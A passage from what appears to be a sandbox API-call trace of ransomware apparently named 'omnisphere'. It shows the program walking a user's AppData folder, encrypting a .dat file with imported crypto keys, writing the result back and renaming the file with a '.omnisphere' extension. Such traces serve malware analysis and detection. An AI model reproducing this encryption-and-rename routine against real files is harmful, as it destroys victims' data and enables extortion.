ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd4, cFileName="UserLexicons", cAlternateFileName="USERLE~1")) returned 1 [0117.203] FindNextFileW (in: hFindFile=0x16396e8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd4, cFileName="UserLexicons", cAlternateFileName="USERLE~1")) returned 0 [0117.204] FindClose (in: hFindFile=0x16396e8 | out: hFindFile=0x16396e8) returned 1 [0117.204] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0117.204] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 1 [0117.204] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="UserLexicons", cAlternateFileName="USERLE~1")) returned 1 [0117.204] GetProcessHeap () returned 0x1600000 [0117.204] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x96) returned 0x165e188 [0117.204] PathCombineW (in: pszDest=0x165e188, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files", pszFile="UserLexicons" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons" [0117.204] GetProcessHeap () returned 0x1600000 [0117.204] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9a) returned 0x16560e8 [0117.204] PathCombineW (in: pszDest=0x16560e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\*" [0117.204] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\*", lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xce, cFileName=".", cAlternateFileName="")) returned 0x1639568 [0117.205] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xce, cFileName="..", cAlternateFileName="")) returned 1 [0117.205] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x3ac, dwReserved0=0x0, dwReserved1=0xce, cFileName="SP_31FD1255772945E99CBED4370F39872D.dat", cAlternateFileName="SP_31F~1.DAT")) returned 1 [0117.205] GetProcessHeap () returned 0x1600000 [0117.205] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe6) returned 0x160e0d8 [0117.206] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons", pszFile="SP_31FD1255772945E99CBED4370F39872D.dat" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\SP_31FD1255772945E99CBED4370F39872D.dat") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\SP_31FD1255772945E99CBED4370F39872D.dat" [0117.206] StrStrW (lpFirst=".omnisphere", lpSrch=".dat") returned 0x0 [0117.206] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\SP_31FD1255772945E99CBED4370F39872D.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\speech\\files\\userlexicons\\sp_31fd1255772945e99cbed4370f39872d.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0117.206] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=940) returned 1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.207] GetTickCount () returned 0x115d4d1 [0117.208] GetTickCount () returned 0x115d4d1 [0117.208] GetTickCount () returned 0x115d4d1 [0117.208] GetTickCount () returned 0x115d4d1 [0117.208] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x16691a8) returned 1 [0117.208] CryptImportKey (in: hProv=0x16691a8, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639ae8) returned 1 [0117.208] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0117.209] CryptDestroyKey (hKey=0x1639ae8) returned 1 [0117.209] CryptReleaseContext (hProv=0x16691a8, dwFlags=0x0) returned 1 [0117.209] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3ac, lpName=0x0) returned 0x3c0 [0117.209] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3ac) returned 0x1480000 [0117.246] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668bd0) returned 1 [0117.247] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b68) returned 1 [0117.247] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0117.247] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0117.247] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.247] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.247] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.248] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.248] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.248] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.248] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.248] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.248] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.248] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.248] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.248] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.248] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.248] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.248] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.248] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.248] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.248] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.248] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.248] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.248] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.248] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.248] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.248] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.249] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.249] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.249] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.249] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.249] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.249] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.249] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.249] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.249] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.249] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.249] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.249] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.249] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.249] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.249] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.249] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.249] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.249] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.249] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.249] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.249] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.250] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.250] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.250] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.250] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.250] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.250] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.250] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.250] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.250] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.250] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.250] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.250] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.250] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.250] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0117.250] CryptDestroyKey (hKey=0x1639b68) returned 1 [0117.250] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0117.250] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x3ac, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0117.250] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0117.252] GetProcessHeap () returned 0x1600000 [0117.252] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2f6) returned 0x16955c0 [0117.252] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\SP_31FD1255772945E99CBED4370F39872D.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\speech\\files\\userlexicons\\sp_31fd1255772945e99cbed4370f39872d.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\SP_31FD1255772945E99CBED4370F39872D.dat.omnisphere" (normalized: 